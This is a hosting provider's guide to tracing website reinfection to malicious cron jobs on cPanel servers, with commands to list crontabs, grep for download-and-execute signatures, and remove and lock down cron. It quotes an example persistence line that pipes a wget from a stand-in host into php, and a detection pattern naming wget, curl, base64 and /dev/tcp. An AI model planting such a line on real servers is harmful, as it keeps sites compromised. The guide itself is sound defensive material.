You cleaned every infected file, replaced the WordPress core, reset the passwords — and the malware came back within hours. The reason is almost always a malicious cron job: a scheduled task the attacker planted that re-downloads the payload, re-creates the backdoor, or phones home on a timer. Cron persistence is what turns a one-time compromise into a recurring one, and it is easy to miss because it lives outside the website files entirely. Until the rogue schedule is gone, every cleanup is temporary.
What’s happening
Cron is the Linux scheduler, and on a cPanel server it operates at several levels: each cPanel user has a per-user crontab, root has its own, and there are system-wide directories (/etc/cron.d/, /etc/cron.hourly/, etc.). An attacker with account-level access plants an entry in the user’s crontab that runs on a short interval — every few minutes or hourly — typically wget/curl-ing a remote payload and piping it to php/bash, or re-writing a backdoor file. Some hide the command behind base64 or fetch from a pastebin-style URL so it is not obvious at a glance.
Because the crontab is not in public_html, file-based cleanups and even many scanners miss it. The malware deletes and reinstalls itself faster than you can keep up, which is the telltale symptom: a site that re-infects on a regular cadence (notice the timing — every 15 minutes, every hour). On a compromised server the attacker may also touch root’s crontab or /etc/cron.d/, which is more serious and warrants treating the whole server, not just the account, as compromised.
How to verify
List the cron entries at every level and look for anything that fetches and executes remote code:
# The account's own crontab — the most common hiding place
crontab -l -u <cpaneluser>
# All per-user crontabs and root's, plus system cron dirs
ls -la /var/spool/cron/
cat /var/spool/cron/<cpaneluser>
crontab -l # root's crontab (run as root)
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
Scan those entries for the classic download-and-execute signatures:
# Look for remote-fetch + execute patterns across all crontabs
grep -rIE 'wget|curl|fetch|base64|/dev/tcp|php -r|bash -c|\|\s*(sh|bash|php)' \
/var/spool/cron/ /etc/cron.d/ 2>/dev/null
# cPanel logs the commands cron actually runs — catch it in the act
grep -i CRON /var/log/cron | tail -40
If a command points at a URL or script, inspect what it pulls and whether the target file reappears on the same interval:
# What does the suspicious target script contain?
cat /home/<cpaneluser>/.<hidden-dir>/<script> # path from the crontab line
ls -la --time-style=+%H:%M /home/<cpaneluser>/public_html/<reappearing-file>
A crontab line running */10 * * * * wget -q http://bad.example/x -O- | php (or any base64-wrapped fetch) is the unmistakable persistence. Matching the malware’s reappearance timing to the cron interval confirms it is the trigger.
The fix
- Capture the malicious entries before deleting them — copy the full crontab output and any fetched script to off-server notes first. You need the URL and command to identify the entry point and to recognize it if it reappears. Record, then remove.
- Remove the rogue user crontab entries — edit the account’s crontab with
crontab -e -u <cpaneluser>and delete the malicious lines (or, if every entry is hostile and none are legitimate,crontab -r -u <cpaneluser>clears the whole crontab). Confirm withcrontab -l -u <cpaneluser>that only intended jobs remain. - Check and clean root and system cron — if the attacker reached root, inspect root’s crontab and
/etc/cron.d/,/etc/cron.hourly,/etc/crontab. A malicious root cron entry means the server is compromised, not just the account; escalate to a full server incident response and consider a rebuild. - Delete the payload and backdoor the cron pulled — the cron only re-fetched the malware; remove the script it downloaded and any backdoor it recreated (the path is in the cron line). Until both the schedule and the files are gone, one can restore the other.
- Reset credentials the attacker may have used — change cPanel, FTP, SSH, and database passwords, and rotate API keys. If the cron was planted via a leaked or reused credential, rotating it closes the door; otherwise the attacker simply re-adds the cron after you remove it.
- Find the entry point so it does not recur — the cron is persistence, not the original hole. Review the same account for the vulnerable plugin/theme, an exposed upload script, or a writable directory that allowed the initial write. Check
find ... -mtimearound the time the cron first appeared (in/var/log/cron) to bracket the breach. - Lock down cron access if the account does not need it — if the customer never uses cron, you can restrict it. WHM and
/etc/cron.deny//etc/cron.allowcontrol which users may schedule jobs; denying cron to accounts that do not need it removes this persistence vector entirely. - Run a full-account scan and watch the interval pass — after cleanup, run the server scanner (ImunifyAV/Imunify360 or
clamscan -ri /home/<cpaneluser>) and then wait out the interval the cron used. If the deleted file does not reappear after the period that previously reinfected it, the persistence is broken.
A reinfecting site is almost always a scheduling problem, not a file problem — find the cron, kill it, then close the hole that let it be planted. Stack Harbor handles reinfection and cron-based persistence under WHM server management — start a conversation when a cleaned site keeps coming back.